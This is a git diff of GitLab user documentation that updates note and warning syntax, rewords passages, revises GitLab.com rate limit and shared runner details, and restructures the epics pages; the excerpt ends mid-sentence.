You can add comments and threads to a particular commit under your
project's **Repository > Commits**.
-CAUTION: **Attention:**
+WARNING:
Threads created this way will be lost if the commit ID changes after a
force push.
@@ -248,7 +248,7 @@ After you click on the image, a comment form will be displayed that would be the
of your thread. Once you save your comment, you will see a new badge displayed on
top of your image. This badge represents your thread.
-NOTE: **Note:**
+NOTE:
This thread badge is typically associated with a number that is only used as a visual
reference for each thread. In the merge request thread tab,
this badge will be indicated with a comment icon since each thread will render a new
@@ -444,7 +444,7 @@ to 4 lines _below_ the commented line, with the suggested change.
![Multi-line suggestion preview](img/multi-line-suggestion-preview.png)
-NOTE: **Note:**
+NOTE:
Suggestions covering multiple lines are limited to 100 lines _above_ and 100
lines _below_ the commented diff line, allowing up to 200 changed lines per
suggestion.
@@ -491,13 +491,13 @@ For example, to customize the commit message to output
**Addresses user_1's review**, set the custom text to
`Addresses %{username}'s review`.
-NOTE: **Note:**
+NOTE:
Custom commit messages for each applied Suggestion (and for batch Suggestions) will be
introduced by [#25381](https://gitlab.com/gitlab-org/gitlab/-/issues/25381).
### Batch Suggestions
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/#alpha).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25486) in GitLab 13.1 as an [alpha feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha).
> - It was deployed behind a feature flag, disabled by default.
> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/227799) on GitLab 13.2.
> - It's enabled on GitLab.com.
diff --git a/doc/user/feature_flags.md b/doc/user/feature_flags.md
index c134b7c083c..9a601871349 100644
--- a/doc/user/feature_flags.md
+++ b/doc/user/feature_flags.md
@@ -18,7 +18,7 @@ may be unavailable to you.
In this case, you'll see a warning like this in the feature documentation:
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Review the **version history** note
on this page for details.
diff --git a/doc/user/feature_highlight.md b/doc/user/feature_highlight.md
index 31eb0e6375d..8d452d2caf0 100644
--- a/doc/user/feature_highlight.md
+++ b/doc/user/feature_highlight.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Feature highlight
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/16379) in GitLab 10.5
Feature highlights are represented by a pulsing blue dot. Hovering over the dot
-will display more information.
+displays more information.
They are used to emphasize a certain feature and make something more visible to the user.
You can dismiss any feature highlight permanently by clicking the "Got it" link
diff --git a/doc/user/gitlab_com/index.md b/doc/user/gitlab_com/index.md
index 54f14c71c93..7aafa52799d 100644
--- a/doc/user/gitlab_com/index.md
+++ b/doc/user/gitlab_com/index.md
@@ -1,18 +1,18 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab.com settings
-In this page you will find information about the settings that are used on
+This page contains information about the settings that are used on
[GitLab.com](https://about.gitlab.com/pricing/).
## SSH host keys fingerprints
Below are the fingerprints for GitLab.com's SSH host keys. The first time you connect
-to a GitLab.com repository, you'll see one of these keys in the output.
+to a GitLab.com repository, one of these keys is displayed in the output.
| Algorithm | MD5 (deprecated) | SHA256 |
| --------- | --- | ------- |
@@ -37,7 +37,7 @@ gitlab.com ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAA
GitLab.com sends emails from the `mg.gitlab.com` domain via [Mailgun](https://www.mailgun.com/) and has
its own dedicated IP address (`192.237.158.143`).
-NOTE: **Note:**
+NOTE:
The IP address for `mg.gitlab.com` is subject to change at any time.
## Backups
@@ -50,7 +50,7 @@ Projects can be backed up in their entirety by exporting them either [through th
With exports, be sure to take note of [what is and is not](../project/settings/import_export.md#exported-contents), included in a project export.
-Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki will come with it [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page).
+Since GitLab is built on Git, you can back up **just** the repository of a project by [cloning](../../gitlab-basics/start-using-git.md#clone-a-repository) it to another machine. Similarly, if you need to back up just the wiki of a repository it can also be cloned and all files uploaded to that wiki are included [if they were uploaded after 2020-08-22](../project/wiki/index.md#creating-a-new-wiki-page).
## Alternative SSH port
@@ -84,7 +84,7 @@ Below are the settings for [GitLab Pages](https://about.gitlab.com/stages-devops
| TLS certificates support | yes | no |
| Maximum size (compressed) | 1G | 100M |
-NOTE: **Note:**
+NOTE:
The maximum size of your Pages site is regulated by the artifacts maximum size
which is part of [GitLab CI/CD](#gitlab-cicd).
@@ -116,7 +116,7 @@ or over the repository size limit, you can [reduce your repository size with Git
| [Repository size including LFS](../admin_area/settings/account_and_limit_settings.md) | 10 GB | Unlimited |
| Maximum import size | 5 GB | 50 MB |
-NOTE: **Note:**
+NOTE:
`git push` and GitLab project imports are limited to 5 GB per request through Cloudflare. Git LFS and imports other than a file upload are not affected by this limit.
## IP range
@@ -144,27 +144,26 @@ A limit of:
GitLab offers Linux and Windows shared runners hosted on GitLab.com for executing your pipelines.
-NOTE: **Note:**
+NOTE:
Shared runners provided by GitLab are **not** configurable. Consider [installing your own runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs.
### Linux shared runners
-Linux shared runners on GitLab.com run in [autoscale mode](https://docs.gitlab.com/runner/configuration/autoscale.html) and are powered by Google Cloud Platform.
-Autoscaling means reduced waiting times to spin up CI/CD jobs, and isolated VMs for each project,
-thus maximizing security. They're free to use for public open source projects and limited
-to 400 CI minutes per month per group for private projects. More minutes
-[can be purchased](../../subscriptions/gitlab_com/index.md#purchase-additional-ci-minutes), if
-needed. Read about all [GitLab.com plans](https://about.gitlab.com/pricing/).
+Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform.
+
+Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com.
+
+GitLab offers Gold tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine
installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
region of the VMs is US East1.
Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs.
-The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
+The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
-**will be timed out after 3 hours**, regardless of the timeout configured in a
+**time out after 3 hours**, regardless of the timeout configured in a
project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
Below are the shared runners settings.
@@ -200,7 +199,7 @@ directory.
The full contents of our `config.toml` are:
-NOTE: **Note:**
+NOTE:
Settings that are not public are shown as `X`.
**Google Cloud Platform**
@@ -294,7 +293,7 @@ You can follow our work towards this goal in the
The full contents of our `config.toml` are:
-NOTE: **Note:**
+NOTE:
Settings that aren't public are shown as `X`.
```toml
@@ -396,19 +395,19 @@ test:
- The average provisioning time for a new Windows VM is 5 minutes.
This means that you may notice slower build start times
on the Windows shared runner fleet during the beta. In a future
- release we will update the autoscaler to enable
- the pre-provisioning of virtual machines. This will significantly reduce
+ release we intend to update the autoscaler to enable
+ the pre-provisioning of virtual machines. This is intended to significantly reduce
the time it takes to provision a VM on the Windows fleet. You can
follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
- The Windows shared runner fleet may be unavailable occasionally
for maintenance or updates.
- The Windows shared runner virtual machine instances do not use the
- GitLab Docker executor. This means that you will not be able to specify
+ GitLab Docker executor. This means that you can't specify
[`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in
your pipeline configuration.
- For the beta release, we have included a set of software packages in
the base VM image. If your CI job requires additional software that's
- not included in this list, then you will need to add installation
+ not included in this list, then you must add installation
commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required
software. Note that each job runs on a new VM instance, so the
installation of additional software packages needs to be repeated for
@@ -434,7 +433,7 @@ and the following environment variables:
| `SIDEKIQ_MEMORY_KILLER_SHUTDOWN_WAIT` | - | `30` |
| `SIDEKIQ_LOG_ARGUMENTS` | `1` | `1` |
-NOTE: **Note:**
+NOTE:
The `SIDEKIQ_MEMORY_KILLER_MAX_RSS` setting is `16000000` on Sidekiq import
nodes and Sidekiq export nodes.
@@ -506,54 +505,42 @@ Web front-ends:
## GitLab.com-specific rate limits
-NOTE: **Note:**
+NOTE:
See [Rate limits](../../security/rate_limits.md) for administrator
documentation.
-IP blocks usually happen when GitLab.com receives unusual traffic from a single
-IP address that the system views as potentially malicious based on rate limit
-settings. After the unusual traffic ceases, the IP address will be automatically
-released depending on the type of block, as described below.
+When a request is rate limited, GitLab responds with a `429` status
+code. The client should wait before attempting the request again. There
+are also informational headers with this response detailed in [rate
+limiting responses](#rate-limiting-responses).
-If you receive a `403 Forbidden` error for all requests to GitLab.com, please
-check for any automated processes that may be triggering a block. For
-assistance, contact [GitLab Support](https://support.gitlab.com/hc/en-us)
-with details, such as the affected IP address.
+The following table describes the rate limits for GitLab.com, both before and
+after the limits change in January, 2021:
-### HAProxy API throttle
+| Rate limit | Before 2021-01-18 | From 2021-01-18 |
+|:--------------------------------------------------------------------------|:----------------------------|:------------------------------|
+| **Protected paths** (for a given **IP address**) | **10** requests per minute | **10** requests per minute |
+| **Raw endpoint** traffic (for a given **project, commit, and file path**) | **300** requests per minute | **300** requests per minute |
+| **Unauthenticated** traffic (from a given **IP address**) | No specific limit | **500** requests per minute |
+| **Authenticated** API traffic (for a given **user**) | No specific limit | **2,000** requests per minute |
+| **Authenticated** non-API HTTP traffic (for a given **user**) | No specific limit | **1,000** requests per minute |
+| **All** traffic (from a given **IP address**) | **600** requests per minute | **2,000** requests per minute |
-GitLab.com responds with HTTP status code `429` to API requests that exceed 10
-requests
-per second per IP address.
-
-The following example headers are included for all API requests:
-
-```plaintext
-RateLimit-Limit: 600
-RateLimit-Observed: 6
-RateLimit-Remaining: 594
-RateLimit-Reset: 1563325137
-RateLimit-ResetTime: Wed, 17 Jul 2019 00:58:57 GMT
-```
+More details are available on the rate limits for [protected
+paths](#protected-paths-throttle) and [raw
+endpoints](../../user/admin_area/settings/rate_limits_on_raw_endpoints.md).
-Source:
+### Rate limiting responses
-- Search for `rate_limit_http_rate_per_minute` and `rate_limit_sessions_per_second` in [GitLab.com's current HAProxy settings](https://gitlab.com/gitlab-cookbooks/gitlab-haproxy/blob/master/attributes/default.rb).
+The [`Retry-After`
+header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Retry-After)
+indicates when the client should retry.
-### Pagination response headers
-
-For performance reasons, if a query returns more than 10,000 records, GitLab
-doesn't return the following headers:
-
-- `x-total`.
-- `x-total-pages`.
-- `rel="last"` `link`.
+Rate limits applied by HAProxy (instead of Cloudflare or the
+GitLab application) have `RateLimit-Reset` and `RateLimit-ResetTime`
+headers.
-### Rack Attack initializer
-
-Details of rate limits enforced by [Rack Attack](../../security/rack_attack.md).
-
-#### Protected paths throttle
+### Protected paths throttle
GitLab.com responds with HTTP status code `429` to POST requests at protected
paths that exceed 10 requests per **minute** per IP address.
@@ -569,6 +556,18 @@ Retry-After: 60
See [Protected Paths](../admin_area/settings/protected_paths.md) for more details.
+### IP blocks
+
+IP blocks can occur when GitLab.com receives unusual traffic from a single
+IP address that the system views as potentially malicious, based on rate limit
+settings. After the unusual traffic ceases, the IP address is automatically
+released depending on the type of block, as described in a following section.
+
+If you receive a `403 Forbidden` error for all requests to GitLab.com,
+check for any automated processes that may be triggering a block. For
+assistance, contact [GitLab Support](https://support.gitlab.com/hc/en-us)
+with details, such as the affected IP address.
+
#### Git and container registry failed authentication ban
GitLab.com responds with HTTP status code `403` for 1 hour, if 30 failed
@@ -586,13 +585,14 @@ This limit:
No response headers are provided.
-### Admin Area settings
+### Pagination response headers
-GitLab.com:
+For performance reasons, if a query returns more than 10,000 records, GitLab
+doesn't return the following headers:
-- Has [rate limits on raw endpoints](../../user/admin_area/settings/rate_limits_on_raw_endpoints.md)
- set to the default.
-- Does not have the user and IP rate limits settings enabled.
+- `x-total`.
+- `x-total-pages`.
+- `rel="last"` `link`.
### Visibility settings
@@ -612,6 +612,13 @@ dropped and users get
To help avoid abuse, project and group imports, exports, and export downloads are rate limited. See [Project import/export rate limits](../../user/project/settings/import_export.md#rate-limits) and [Group import/export rate limits](../../user/group/settings/import_export.md#rate-limits) for details.
+GitLab.com Import/Export Rate Limits are set to the default except:
+
+| Setting | GitLab.com | Default |
+|:-------------------------------------------------|:-----------|:--------|
+| Max Project Export requests per minute per user | 1 | 6 |
+| Max Group Export requests per minute per user | 1 | 6 |
+
### Non-configurable limits
See [non-configurable limits](../../security/rate_limits.md#non-configurable-limits) for information on
diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md
index ec1e81bac2d..8db9c7fd76c 100644
--- a/doc/user/group/bulk_editing/index.md
+++ b/doc/user/group/bulk_editing/index.md
@@ -1,19 +1,19 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Bulk editing issues, epics, and merge requests at the group level **(PREMIUM)**
-NOTE: **Note:**
+NOTE:
Bulk editing issues and merge requests is also available at the **project level**.
For more details, see [Bulk editing issues and merge requests at the project level](../../project/bulk_editing.md).
If you want to update attributes across multiple issues, epics, or merge requests in a group, you
can do it by bulk editing them, that is, editing them together.
-NOTE: **Note:**
+NOTE:
Only the items visible on the current page are selected for bulk editing (up to 20).
![Bulk editing](img/bulk-editing_v13_2.png)
@@ -22,7 +22,7 @@ Only the items visible on the current page are selected for bulk editing (up to
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7249) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.1.
-NOTE: **Note:**
+NOTE:
You need a permission level of [Reporter or higher](../../permissions.md) to manage issues.
When bulk editing issues in a group, you can edit the following attributes:
@@ -46,7 +46,7 @@ To update multiple project issues at the same time:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7250) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2.
-NOTE: **Note:**
+NOTE:
You need a permission level of [Reporter or higher](../../permissions.md) to manage epics.
When bulk editing epics in a group, you can edit their labels.
@@ -63,7 +63,7 @@ To update multiple epics at the same time:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12719) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2.
-NOTE: **Note:**
+NOTE:
You need a permission level of [Developer or higher](../../permissions.md) to manage merge requests.
When bulk editing merge requests in a group, you can edit the following attributes:
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index 1a62d67e468..ea7629d1f10 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -2,7 +2,7 @@
type: reference
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Group-level Kubernetes clusters
@@ -58,11 +58,11 @@ differentiate the new cluster from your other clusters.
> - Became [optional](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/26565) in GitLab 11.11.
You can choose to allow GitLab to manage your cluster for you. If GitLab manages
-your cluster, resources for your projects will be automatically created. See the
+your cluster, resources for your projects are automatically created. See the
[Access controls](../../project/clusters/add_remove_clusters.md#access-controls)
section for details on which resources GitLab creates for you.
-For clusters not managed by GitLab, project-specific resources won't be created
+For clusters not managed by GitLab, project-specific resources aren't created
automatically. If you're using [Auto DevOps](../../../topics/autodevops/index.md)
for deployments with a cluster not managed by GitLab, you must ensure:
@@ -97,7 +97,7 @@ To clear the cache:
Domains at the cluster level permit support for multiple domains
per [multiple Kubernetes clusters](#multiple-kubernetes-clusters) When specifying a domain,
-this will be automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during
+this is automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during
the [Auto DevOps](../../../topics/autodevops/index.md) stages.
The domain should have a wildcard DNS configured to the Ingress IP address.
diff --git a/doc/user/group/contribution_analytics/index.md b/doc/user/group/contribution_analytics/index.md
index cf55a1f688b..0dbd7af1214 100644
--- a/doc/user/group/contribution_analytics/index.md
+++ b/doc/user/group/contribution_analytics/index.md
@@ -1,8 +1,8 @@
---
type: reference
stage: Manage
-group: Value Stream Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+group: Optimize
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Contribution Analytics **(STARTER)**
diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md
index bbff82811bf..a59b1f2e9b2 100644
--- a/doc/user/group/custom_project_templates.md
+++ b/doc/user/group/custom_project_templates.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Import
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Custom group-level project templates **(PREMIUM)**
@@ -20,7 +20,7 @@ To use a custom project template for a new project you need to:
1. Edit your group's settings to look to your 'templates' subgroup for templates:
1. In the left-hand menu, click **{settings}** **Settings > General**.
- NOTE: **Note:**
+ NOTE:
If you don't have access to the group's settings, you may not have sufficient privileges (for example, you may need developer or higher permissions).
1. Scroll to **Custom project templates** and click **Expand**. If no **Custom project templates** section displays, make sure you've created a subgroup, and added a project (repository) to it.
@@ -56,7 +56,7 @@ gitlab.com/acmeco/
Users can configure a GitLab group that serves as template
source under a group's **Settings > General > Custom project templates**.
-NOTE: **Note:**
+NOTE:
GitLab administrators can
[set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md).
@@ -66,11 +66,11 @@ available to every signed-in user, if all enabled [project features](../project/
However, private projects will be available only if the user is a member of the project.
-NOTE: **Note:**
+NOTE:
Only direct subgroups can be set as the template source. Projects of nested subgroups of a selected template source cannot be used.
Repository and database information that are copied over to each new project are
-identical to the data exported with [GitLab's Project Import/Export](../project/settings/import_export.md).
+identical to the data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
<!-- ## Troubleshooting
diff --git a/doc/user/group/dependency_proxy/index.md b/doc/user/group/dependency_proxy/index.md
index f735ec0214f..c4feed24132 100644
--- a/doc/user/group/dependency_proxy/index.md
+++ b/doc/user/group/dependency_proxy/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../packages/dependency_proxy/index.md'
---
This document was moved to [another location](../../packages/dependency_proxy/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/group/epics/img/new_epic_form_v13.2.png b/doc/user/group/epics/img/new_epic_form_v13.2.png
deleted file mode 100644
index ac1450ae111..00000000000
--- a/doc/user/group/epics/img/new_epic_form_v13.2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/epics/img/new_epic_from_groups_v13.2.png b/doc/user/group/epics/img/new_epic_from_groups_v13.2.png
deleted file mode 100644
index bb75605af60..00000000000
--- a/doc/user/group/epics/img/new_epic_from_groups_v13.2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/epics/img/new_epic_from_groups_v13.7.png b/doc/user/group/epics/img/new_epic_from_groups_v13.7.png
new file mode 100644
index 00000000000..3607d5c7a3f
--- /dev/null
+++ b/doc/user/group/epics/img/new_epic_from_groups_v13.7.png
Binary files differ
diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md
index e98c4b416fe..c76b07481b2 100644
--- a/doc/user/group/epics/index.md
+++ b/doc/user/group/epics/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Plan
group: Product Planning
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Epics **(PREMIUM)**
@@ -10,20 +10,24 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.2.
> - Single-level Epics [were moved](https://gitlab.com/gitlab-org/gitlab/-/issues/37081) to [GitLab Premium](https://about.gitlab.com/pricing/) in 12.8.
-Epics let you manage your portfolio of projects more efficiently by tracking groups of issues that
-share a theme across projects and milestones.
+Epics let you manage your portfolio of projects more efficiently by tracking groups of [issues](../../project/issues/index.md)
+that share a theme across projects and milestones.
An epic's page contains the following tabs:
-- **Epics and Issues**: epics and issues added to this epic. Child epics, and their issues, are
- shown in a tree view.
- - Click the chevron (**>**) next to a parent epic to reveal the child epics and issues.
- - Hover over the total counts to see a breakdown of open and closed items.
+- **Issues**: issues added to this epic.
+- **Epics and Issues**: epics and issues added to this epic.
+ Appears instead of the **Issues** tab if you have access to [multi-level epics](#multi-level-child-epics).
+ Child epics and their issues are shown in a tree view.
- NOTE: **Note:**
- The number provided here includes all epics associated with this project. The number includes epics for which users may not yet have permission.
+ - To reveal the child epics and issues, select the chevron (**>**) next to a parent epic.
+ - To see a breakdown of open and closed items, hover over the total counts.
-- **Roadmap**: a roadmap view of child epics which have start and due dates.
+ The number provided here includes all epics associated with this project. The number includes
+ epics for which users may not yet have permission.
+
+- [**Roadmap**](#roadmap-in-epics): a roadmap view of child epics which have start and due dates.
+ Appears if you have access to [multi-level epics](#multi-level-child-epics).
![epic view](img/epic_view_v13.0.png)
@@ -75,14 +79,10 @@ to:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/199184) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10.
> - The health status of a closed issue [is hidden](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3 or later.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7.
Report or respond to the health of issues and epics by setting a red, amber, or green [health status](../../project/issues/index.md#health-status), which then appears on your Epic tree.
-### Disable Issue health status in Epic tree
-
-This feature comes with a feature flag enabled by default. For steps to disable it, see
-[Disable issue health status](../../project/issues/index.md#disable-issue-health-status).
-
## Multi-level child epics **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8333) in GitLab Ultimate 11.7.
@@ -92,7 +92,7 @@ New child epics appear at the top of the list of epics in the **Epics and Issues
When you add an epic that's already linked to a parent epic, the link to its current parent is removed.
-An epic can have multiple child epics up to the maximum depth of five.
+An epic can have multiple child epics up to the maximum depth of seven.
See [Manage multi-level child epics](manage_epics.md#manage-multi-level-child-epics) for
steps to create, move, reorder, or delete child epics.
@@ -101,35 +101,18 @@ steps to create, move, reorder, or delete child epics.
To set a **Start date** and **Due date** for an epic, select one of the following:
-- **Fixed**: Enter a fixed value.
-- **From milestones**: Inherit a dynamic value from the milestones that are assigned to the epic's issues.
- Note that GitLab 12.5 replaced this option with **Inherited**.
-- **Inherited**: Inherit a dynamic value from the epic's issues, child epics, and milestones ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7332) in GitLab 12.5 to replace **From milestones**).
-
-### From milestones
-
-> [Replaced](https://gitlab.com/gitlab-org/gitlab/-/issues/7332) in GitLab 12.5 by **Inherited**.
-
-If you select **From milestones** for the start date, GitLab automatically sets the date to be earliest
-start date across all milestones that are assigned to the issues that belong to the epic.
-If you select **From milestones** for the due date, GitLab sets the date to be the latest due date across
-all milestones that are assigned to those issues.
-
-These are dynamic dates which are recalculated if any of the following occur:
-
-- Milestones are re-assigned to the issues.
-- Milestone dates change.
-- Issues are added or removed from the epic.
+- **Fixed**: enter a fixed value.
+- **Inherited**: inherit a dynamic value from the epic's issues, child epics, and milestones.
### Inherited
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7332) in GitLab 12.5 to replace **From milestones**.
-If you select:
+If you select **Inherited**:
-- **Inherited** for the start date, GitLab will scan all child epics and issues assigned to the epic,
- and will set the start date to match the earliest found start date or milestone.
-- **Inherited** for the due date, GitLab will set the due date to match the latest due date or
+- For the **start date**: GitLab scans all child epics and issues assigned to the epic,
+ and sets the start date to match the earliest found start date or milestone.
+- For the **due date**: GitLab sets the due date to match the latest due date or
milestone found among its child epics and issues.
These are dynamic dates and recalculated if any of the following occur:
@@ -143,7 +126,7 @@ Because the epic's dates can inherit dates from its children, the start date and
If the start date of a child epic on the lowest level changes, that becomes the earliest possible start date for its parent epic.
The parent epic's start date then reflects this change and propagates upwards to the top epic.
-## Roadmap in epics
+## Roadmap in epics **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7327) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.10.
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index 5895b611bb3..9cc7a35bc32 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -2,7 +2,7 @@
type: howto
stage: Plan
group: Product Planning
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
<!-- When adding a new h2 section here, remember to mention it in index.md#manage-epics -->
@@ -14,42 +14,28 @@ to them.
## Create an epic
-A paginated list of epics is available in each group from where you can create
-a new epic. The list of epics includes also epics from all subgroups of the
-selected group. From your group page:
+> - The New Epic form [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211533) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+> - In [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/229621) and later, the New Epic button on the Epics list opens the New Epic form.
-### Create an epic from the epic list
+To create an epic in the group you're in:
-To create an epic from the epic list, in a group:
+1. Get to the New Epic form:
+ - From the **Epics** list in your group, select the **New Epic** button.
+ - From an epic in your group, select the **New Epic** button.
+ - From anywhere, in the top menu, select **New...** (**{plus-square}**) **> New epic**.
-1. Go to **{epic}** **Epics**.
-1. Select **New epic**.
-1. Enter a descriptive title.
-1. Select **Create epic**.
+ ![New epic from an open epic](img/new_epic_from_groups_v13.7.png)
-### Access the New Epic form
+1. Fill in these fields:
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211533) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+ - Title
+ - Description
+ - [Confidentiality checkbox](#make-an-epic-confidential)
+ - Labels
+ - Start date
+ - Due date
-There are two ways to get to the New Epic form and create an epic in the group you're in:
-
-- From an epic in your group, select **New Epic**.
-- From anywhere, in the top menu, select **plus** (**{plus-square}**) **> New epic**.
-
- ![New epic from an open epic](img/new_epic_from_groups_v13.2.png)
-
-### Elements of the New Epic form
-
-When you're creating a new epic, these are the fields you can fill in:
-
-- Title
-- Description
-- Confidentiality checkbox
-- Labels
-- Start date
-- Due date
-
-![New epic form](img/new_epic_form_v13.2.png)
+1. Select **Create epic**. You are taken to view the newly created epic.
## Edit an epic
@@ -79,7 +65,7 @@ You can edit multiple epics at once. To learn how to do it, visit
## Delete an epic
-NOTE: **Note:**
+NOTE:
To delete an epic, you need to be an [Owner](../../permissions.md#group-members-permissions) of a group/subgroup.
When editing the description of an epic, select the **Delete** button to delete the epic.
@@ -130,7 +116,7 @@ that of Issues and Merge Requests) based on following parameters:
![epics search](img/epics_search.png)
To search, go to the list of epics and select the field **Search or filter results**.
-It will display a dropdown menu, from which you can add an author. You can also enter plain
